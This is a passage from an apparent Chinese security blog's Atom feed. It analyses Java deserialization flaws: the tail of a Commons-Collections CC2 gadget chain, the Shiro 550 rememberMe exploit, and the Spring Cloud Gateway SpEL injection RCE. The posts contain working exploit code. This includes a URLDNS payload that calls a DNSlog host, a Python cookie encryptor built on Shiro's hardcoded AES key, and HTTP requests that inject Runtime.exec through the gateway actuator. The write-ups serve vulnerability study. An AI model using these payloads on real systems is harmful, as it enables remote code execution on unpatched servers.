        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //使用InvokerTransformer。
        InvokerTransformer invokerTransformer = new InvokerTransformer(&quot;newTransformer&quot;, new Class[]{}, new Object[]{});
//        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Field tField = transformingComparator.getClass().getDeclaredField(&quot;transformer&quot;);
        tField.setAccessible(true);
        tField.set(transformingComparator,invokerTransformer);

       mySeriable(priorityQueue);
        myDeseriable(&quot;sercc2.bin&quot;);
    }
    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;sercc2.bin&quot;));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
        return ois.readObject();
    }

}

</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/232592#h3-13<br>
https://www.cnblogs.com/depycode/p/13583102.html<br>
https://blog.csdn.net/rfrder/article/details/119962850</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】Shiro 550 反序列化漏洞原理]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-shiro-550-fan-xu-lie-hua-lou-dong-yuan-li/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-shiro-550-fan-xu-lie-hua-lou-dong-yuan-li/">
        </link>
        <updated>2022-03-14T06:57:00.000Z</updated>
        <content type="html"><![CDATA[<h2 id="原理分析">原理分析：</h2>
<p>从CVE的描述得知是反序列化漏洞，因此定位readObject()方法。<br>
定位到<code>core/src/main/java/org/apache/shiro/io/DefaultSerializer.java</code>方法</p>
<pre><code class="language-java">    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = &quot;argument cannot be null.&quot;;
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({&quot;unchecked&quot;})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = &quot;Unable to deserialze argument byte array.&quot;;
            throw new SerializationException(msg, e);
        }
    }
</code></pre>
<p>其中<code>T deserialized = (T) ois.readObject();</code>是反序列化的入口点。通过查找其调用点可以找到在<code>core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java</code>中被调用<br>
<img src="https://limpid94.github.io/post-images/1647320425187.png" alt="" loading="lazy"></p>
<pre><code class="language-java">    protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }
</code></pre>
<p>同样在<code>AbstractRememberMeManager</code>类中的<code>convertBytesToPrincipals</code>方法调用了<code>deserialize</code>。</p>
<pre><code class="language-java">    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }
</code></pre>
<p>而<code>convertBytesToPrincipals</code>又被<code>AbstractRememberMeManager#getRememberedPrincipals</code>所调用。<br>
再往上查找调用者，得到<code>core/src/main/java/org/apache/shiro/mgt/DefaultSecurityManager.java</code>的<code>getRememberedIdentity</code>。继续查找该方法的调用者，发现在同类中的<code>resolvePrincipals</code>方法中被调用，而同类的<code>createSubject</code>方法又调用了<code>resolvePrincipals</code>方法。</p>
<pre><code class="language-java">    public Subject createSubject(SubjectContext subjectContext) {
        //create a copy so we don't modify the argument's backing map:
        SubjectContext context = copy(subjectContext);

        //ensure that the context has a SecurityManager instance, and if not, add one:
        context = ensureSecurityManager(context);

        //Resolve an associated Session (usually based on a referenced session ID), and place it in the context before
        //sending to the SubjectFactory.  The SubjectFactory should not need to know how to acquire sessions as the
        //process is often environment specific - better to shield the SF from these details:
        context = resolveSession(context);

        //Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
        //if possible before handing off to the SubjectFactory:
        context = resolvePrincipals(context);

        Subject subject = doCreateSubject(context);

        //save this subject for future reference if necessary:
        //(this is needed here in case rememberMe principals were resolved and they need to be stored in the
        //session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation).
        //Added in 1.2:
        save(subject);

        return subject;
    }
</code></pre>
<p>而该<code>createSubjectcreateSubject(SubjectContext subjectContext)</code>又被<code>core/src/main/java/org/apache/shiro/subject/Subject.java</code>接口的<code>buildSubject</code>调用。<br>
经过查找后发现<code>WebSubject</code>接口继承了<code>Subject</code>并且<code>buildWebSubject</code>调用了<code>buildSubject</code>。而<code>web/src/main/java/org/apache/shiro/web/servlet/AbstractShiroFilter.java</code>调用了<code>createSubject</code>方法：</p>
<pre><code class="language-java">    protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
        return new WebSubject.Builder(getSecurityManager(), request, response). buildWebSubject();
    }
</code></pre>
<p>整个过程好像没有和Cookie相关的方法，于是我简单了解Shiro框架的鉴权流程，<br>
<img src="https://limpid94.github.io/post-images/1647502515479.png" alt="" loading="lazy"><br>
而网上其他大牛的文章都提到了<code>CookieRememberMeManager</code>类，为了进一步检查我之前在反追流程时是否遗漏哪个地方，于是动态调试源码。<br>
<img src="https://limpid94.github.io/post-images/1647849776539.png" alt="" loading="lazy"><br>
得知在<code>AbstractRememberMeManager#getRememberedPrincipals</code>下调用了<code>CookieRememberMeManager#getRememberedSerializedIdentity</code><br>
<img src="https://limpid94.github.io/post-images/1647858930182.png" alt="" loading="lazy"></p>
<pre><code class="language-JAVA">       protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = &quot;SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a &quot; +
                        &quot;servlet request and response in order to retrieve the rememberMe cookie. Returning &quot; +
                        &quot;immediately and ignoring rememberMe operation.&quot;;
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace(&quot;Acquired Base64 encoded identity [&quot; + base64 + &quot;]&quot;);
            }
            byte[] decoded = Base64.decode(base64); # 对Cookie进行解密操作
            if (log.isTraceEnabled()) {
                log.trace(&quot;Base64 decoded byte array length: &quot; + (decoded != null ? decoded.length : 0) + &quot; bytes.&quot;);
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }
</code></pre>
<p>该方法会对Cookie进行判断是否为Base64字符串，若是则进行解码操作并且返回给<code>AbstractRememberMeManager#getRememberedPrincipals</code>然后再用<code>decrypt</code>方法<br>
对AES进行解密。<br>
而AES的密钥是写死的：<br>
<img src="https://limpid94.github.io/post-images/1647934371819.png" alt="" loading="lazy"><br>
因此可以先构造一个恶意的序列化数据，然后用AES加密后用Base64加密</p>
<h2 id="exp构造">EXP构造</h2>
<p>首先以URLDNS为例：<br>
通过动态调试得知AES加密方式是：AES/CBC/PKCS5padding<br>
首先构造URLDNS的序列化数据</p>
<pre><code class="language-java">package cc.commonscollections;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class MyURLDNS {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser.bin&quot;));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        HashMap&lt;URL,Integer&gt; hashmap = new HashMap&lt;&gt;();
        URLStreamHandler handler = new MyURLStreamHandler();
        URL u = new URL( null,&quot;http://99efe118.dns.1433.eu.org&quot;, handler);
        hashmap.put(u,123);

        Field field = URL.class.getDeclaredField(&quot;hashCode&quot;);
        field.setAccessible(true);
        field.set(u,-1);

        serialize(hashmap);

        //反序列化

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;ser.bin&quot;));
        ois.readObject();
    }

    static class MyURLStreamHandler extends URLStreamHandler {

        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        @Override
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

}

</code></pre>
<p>之后用python编写即可</p>
<pre><code class="language-python">from Crypto.Cipher import AES
from base64 import b64decode, b64encode

BLOCK_SIZE = AES.block_size
# 不足BLOCK_SIZE的补位(s可能是含中文，而中文字符utf-8编码占3个位置,gbk是2，所以需要以len(s.encode())，而不是len(s)计算补码)
pad = lambda s: s + (BLOCK_SIZE - len(s.encode()) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s.encode()) % BLOCK_SIZE)
# 去除补位
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


class AESCipher:
    def __init__(self, secretkey: str):
        self.key = secretkey  # 密钥
        self.iv = secretkey[0:16]  # 偏移量

    def encrypt(self, text):
        &quot;&quot;&quot;
        加密 ：先补位，再AES加密，后base64编码
        :param text: 需加密的明文
        :return:
        &quot;&quot;&quot;
        # text = pad(text) 包pycrypto的写法，加密函数可以接受str也可以接受bytess
        text = pad(text).encode()  # 包pycryptodome 的加密函数不接受str
        cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, IV=self.iv.encode())
        encrypted_text = cipher.encrypt(text)
        # 进行64位的编码,返回得到加密后的bytes，decode成字符串
        return b64encode(encrypted_text).decode('utf-8')

    def decrypt(self, encrypted_text):
        &quot;&quot;&quot;
        解密 ：偏移量为key[0:16]；先base64解，再AES解密，后取消补位
        :param encrypted_text : 已经加密的密文
        :return:
        &quot;&quot;&quot;
        encrypted_text = b64decode(encrypted_text)
        cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, IV=self.iv.encode())
        decrypted_text = cipher.decrypt(encrypted_text)
        return unpad(decrypted_text).decode('utf-8')




if __name__ == '__main__':
    with open(&quot;ser.bin&quot;,encoding='utf-8',errors='ignore') as f:
        serbin = f.read()
    enctext = AESCipher(&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;).encrypt(serbin)
    print(enctext)
</code></pre>
<p>最后测试发现有dns请求<br>
<img src="https://limpid94.github.io/post-images/1647965819494.png" alt="" loading="lazy"><br>
<img src="https://limpid94.github.io/post-images/1647965790395.png" alt="" loading="lazy"></p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】SpringCloud Gateway RCE分析]]></title>
        <id>https://limpid94.github.io/post/springcloud-gateway-rce-fen-xi/</id>
        <link href="https://limpid94.github.io/post/springcloud-gateway-rce-fen-xi/">
        </link>
        <updated>2022-03-08T11:58:44.000Z</updated>
        <content type="html"><![CDATA[<h2 id="环境搭建">环境搭建</h2>
<p>1、从 https://github.com/spring-cloud/spring-cloud-gateway 下载源码<br>
2、进入到下载的文件夹中用<code>git check v3.1.0</code>来切换成3.1.0版本。<br>
3、使用<code>spring-cloud-gateway-sample</code>下的<code>GatewaySampleApplication.java</code>来作为调试的demo。但是要成功运行起来还要修改以下几点<br>
(1)修改<code>spring-cloud-gateway-sample/src/main/resources/application.yml</code>的内容<br>
<img src="https://limpid94.github.io/post-images/1646750623356.PNG" alt="" loading="lazy"><br>
<img src="https://limpid94.github.io/post-images/1646750633573.PNG" alt="" loading="lazy"><br>
将uri这行改成<code>uri: http://example.com:80</code>，以及将PrefixPath这行改成 <code>- PrefixPath=/</code>，将这样启动后访问对应的uri时就会显示一个example页面<br>
<img src="https://limpid94.github.io/post-images/1646754832244.png" alt="" loading="lazy"><br>
4、找到<code>org/springframework/cloud/gateway/sample/GatewaySampleApplication.java</code>，将<code>public RouteLocator customRouteLocator(RouteLocatorBuilder builder)</code>上方的@Bean注释并添加一个自己的路由：</p>
<pre><code class="language-java">	@Bean
	public RouteLocator myRoutes(RouteLocatorBuilder builder) {
		String httpUri = &quot;http://httpbin.org:80&quot;;
		return builder.routes()
				.route(p -&gt; p
						.path(&quot;/get&quot;)
						.filters(f -&gt; f.addRequestHeader(&quot;Hello&quot;, &quot;World!!!&quot;))
						.uri(httpUri)
				)
				.build();
	}
</code></pre>
<h2 id="简单复现">简单复现</h2>
<p>首先使用如下数据包来添加一条路由</p>
<pre><code>POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335

{
  &quot;id&quot;: &quot;hacktest&quot;,
  &quot;filters&quot;: [{
    &quot;name&quot;: &quot;AddResponseHeader&quot;,
    &quot;args&quot;: {
      &quot;name&quot;: &quot;Result&quot;,
      &quot;value&quot;: &quot;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\&quot;calc.exe\&quot;}).getInputStream()))}&quot;
    }
  }],
  &quot;uri&quot;: &quot;http://example.com&quot;
}
</code></pre>
<p><img src="https://limpid94.github.io/post-images/1646797710126.png" alt="" loading="lazy"><br>
然后刷新路由能触发RCE</p>
<pre><code>POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

</code></pre>
<p><img src="https://limpid94.github.io/post-images/1646797703551.png" alt="" loading="lazy"><br>
<img src="https://limpid94.github.io/post-images/1646797697805.png" alt="" loading="lazy"></p>
<h2 id="原理分析">原理分析</h2>
<p>根据官方的github上的diff结果，使用<code>GatewayEvaluationContext</code>来代替<code>StandardEvaluationContext</code><br>
<img src="https://limpid94.github.io/post-images/1646798340898.png" alt="" loading="lazy"><br>
定位到<code>org/springframework/cloud/gateway/support/ShortcutConfigurable.java</code></p>
<pre><code class="language-java">	static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
		Object value;
		String rawValue = entryValue;
		if (rawValue != null) {
			rawValue = rawValue.trim();
		}
		if (rawValue != null &amp;&amp; rawValue.startsWith(&quot;#{&quot;) &amp;&amp; entryValue.endsWith(&quot;}&quot;)) {
			// assume it's spel
			StandardEvaluationContext context = new StandardEvaluationContext();
			context.setBeanResolver(new BeanFactoryResolver(beanFactory));
			Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
			value = expression.getValue(context);
		}
		else {
			value = entryValue;
		}
		return value;
	}
</code></pre>
<p>查找getValue()的调用处，找到ShortcutType的枚举，并且枚举都重写了normalize()</p>
<pre><code class="language-java">	enum ShortcutType {

		DEFAULT {
			@Override
			public Map&lt;String, Object&gt; normalize(Map&lt;String, String&gt; args, ShortcutConfigurable shortcutConf,
					SpelExpressionParser parser, BeanFactory beanFactory) {
				Map&lt;String, Object&gt; map = new HashMap&lt;&gt;();
				int entryIdx = 0;
				for (Map.Entry&lt;String, String&gt; entry : args.entrySet()) {
					String key = normalizeKey(entry.getKey(), entryIdx, shortcutConf, args);
					Object value = getValue(parser, beanFactory, entry.getValue());

					map.put(key, value);
					entryIdx++;
				}
				return map;
			}
		}

</code></pre>
<p>而shortcutType()调用了ShortcutType枚举的DEFAULT</p>
<pre><code class="language-java">default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}
</code></pre>
<p>接着找到<code>org/springframework/cloud/gateway/support/ConfigurationService.java</code>中的normalizeProperties()调用 shortcutType()。<br>
而normalizeProperties()又被<code>org/springframework/cloud/gateway/support/ConfigurationService.java</code>的bind()所调用。</p>
<pre><code class="language-java">		protected abstract T doBind();

		public T bind() {
			validate();
			Assert.hasText(this.name, &quot;name may not be empty&quot;);
			Assert.isTrue(this.properties != null || this.normalizedProperties != null,
					&quot;properties and normalizedProperties both may not be null&quot;);

			if (this.normalizedProperties == null) {
				this.normalizedProperties = normalizeProperties();
			}

			T bound = doBind();

			if (this.eventFunction != null &amp;&amp; this.service.publisher != null) {
				ApplicationEvent applicationEvent = this.eventFunction.apply(bound, this.normalizedProperties);
				this.service.publisher.publishEvent(applicationEvent);
			}

			return bound;
		}
</code></pre>
<p>bind()方法则在<code>org/springframework/cloud/gateway/filter/WeightCalculatorWebFilter.java</code>中的handle方法调用</p>
<pre><code class="language-java">	public void handle(PredicateArgsEvent event) {
		Map&lt;String, Object&gt; args = event.getArgs();

		if (args.isEmpty() || !hasRelevantKey(args)) {
			return;
		}

		WeightConfig config = new WeightConfig(event.getRouteId());

		this.configurationService.with(config).name(WeightConfig.CONFIG_PREFIX).normalizedProperties(args).bind();

		addWeightConfig(config);
	}
</code></pre>
<p>WeightCalculatorWebFilter与Filter相关。于是参考SpringCloud  API手册：<br>
<img src="https://limpid94.github.io/post-images/1646845564686.png" alt="" loading="lazy"><br>
JSON格式就是<br>
<img src="https://limpid94.github.io/post-images/1646889679695.png" alt="" loading="lazy"><br>
接下来查找入口<br>
根据API给出的uri，定位到<code>org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java</code></p>
<pre><code class="language-java">	@PostMapping(&quot;/routes/{id}&quot;)
	@SuppressWarnings(&quot;unchecked&quot;)
	public Mono&lt;ResponseEntity&lt;Object&gt;&gt; save(@PathVariable String id, @RequestBody RouteDefinition route) {

		return Mono.just(route).doOnNext(this::validateRouteDefinition)
				.flatMap(routeDefinition -&gt; this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -&gt; {
					r.setId(id);
					log.debug(&quot;Saving route: &quot; + route);
					return r;
				})).then(Mono.defer(() -&gt; Mono.just(ResponseEntity.created(URI.create(&quot;/routes/&quot; + id)).build()))))
				.switchIfEmpty(Mono.defer(() -&gt; Mono.just(ResponseEntity.badRequest().build())));
	}
</code></pre>
<p>先查看RouteDefinition：<br>
<img src="https://limpid94.github.io/post-images/1646891522030.png" alt="" loading="lazy"><br>
其中的filters是FilterDefinition类型的列表。再追入FilterDefinition中：<br>
<img src="https://limpid94.github.io/post-images/1646891612111.png" alt="" loading="lazy"><br>
从中看到两个参数：name和args。<br>
之后返回到AbstractGatewayControllerEndpoint的save方法中。该方法内会调用validateRouteDefinition方法来对filter的有效性做了一个校验：</p>
<pre><code class="language-java">	private void validateRouteDefinition(RouteDefinition routeDefinition) {
		Set&lt;String&gt; unavailableFilterDefinitions = routeDefinition.getFilters().stream().filter(rd -&gt; !isAvailable(rd))
				.map(FilterDefinition::getName).collect(Collectors.toSet());

		Set&lt;String&gt; unavailablePredicatesDefinitions = routeDefinition.getPredicates().stream()
				.filter(rd -&gt; !isAvailable(rd)).map(PredicateDefinition::getName).collect(Collectors.toSet());
		if (!unavailableFilterDefinitions.isEmpty()) {
			handleUnavailableDefinition(FilterDefinition.class.getSimpleName(), unavailableFilterDefinitions);
		}
		else if (!unavailablePredicatesDefinitions.isEmpty()) {
			handleUnavailableDefinition(PredicateDefinition.class.getSimpleName(), unavailablePredicatesDefinitions);
		}
	}
···
而是否有效的关键方法是isAvailable()
```java
	private boolean isAvailable(FilterDefinition filterDefinition) {
		return GatewayFilters.stream()
				.anyMatch(gatewayFilterFactory -&gt; filterDefinition.getName().equals(gatewayFilterFactory.name()));
	}
</code></pre>
<p>此时用动态调试方法打印出filterDefinition中已经存在的Filter的名字。</p>
<pre><code>AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
</code></pre>
<p>此处使用 AddRequestHeader，对应<code>org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java</code>的addRequestHeader</p>
<pre><code class="language-java">	/**
	 * Adds a request header to the request before it is routed by the Gateway.
	 * @param headerName the header name
	 * @param headerValue the header value
	 * @return a {@link GatewayFilterSpec} that can be used to apply additional filters
	 */
	public GatewayFilterSpec addRequestHeader(String headerName, String headerValue) {
		return filter(getBean(AddRequestHeaderGatewayFilterFactory.class)
				.apply(c -&gt; c.setName(headerName).setValue(headerValue)));
	}
</code></pre>
<p>因此在filters中需要包含name和value两个关键词，而且这里两个参数都是String类型，因此需要将Runtime下的getRuntime的exec方法弄成字节流进行输入，否则会因为类型不匹配报错而终止未完成的流程。</p>
<h3 id="spel语句构造">SpEL语句构造</h3>
<p>SpEL语法的T()会返回Object类，可以借助其获取某个类的静态方法<code>T(全限定类名).方法名()</code>。<br>
例如java上调用Runtime为：</p>
<pre><code class="language-java">Runtime.getRuntime.exec(&quot;calc.exe&quot;);
</code></pre>
<p>用T()操作符可以写成</p>
<pre><code class="language-java">T(java.lang.Runtime).getRuntime().exec(&quot;calc.exe&quot;)
</code></pre>
<p>结合本文的情况，由于最终是String类型，所以还需要借用<code>org.springframework.util.StreamUtils</code>的<code>copyToByteArray</code>，因此可以写成</p>
<pre><code class="language-java">#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(Runtime).getRuntime().exec(\&quot;calc.exe\&quot;).getInputStream()))}
</code></pre>
<p>##完整数据包：</p>
<pre><code>{
  &quot;id&quot;: &quot;hacktest&quot;,
  &quot;filters&quot;: [{
    &quot;name&quot;: &quot;AddResponseHeader&quot;,
    &quot;args&quot;: {
      &quot;name&quot;: &quot;Result&quot;,
      &quot;value&quot;: &quot;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\&quot;notepad.exe\&quot;}).getInputStream()))}&quot;
    }
  }],
  &quot;uri&quot;: &quot;http://example.com&quot;
}
</code></pre>
]]></content>
    </entry>
</feed>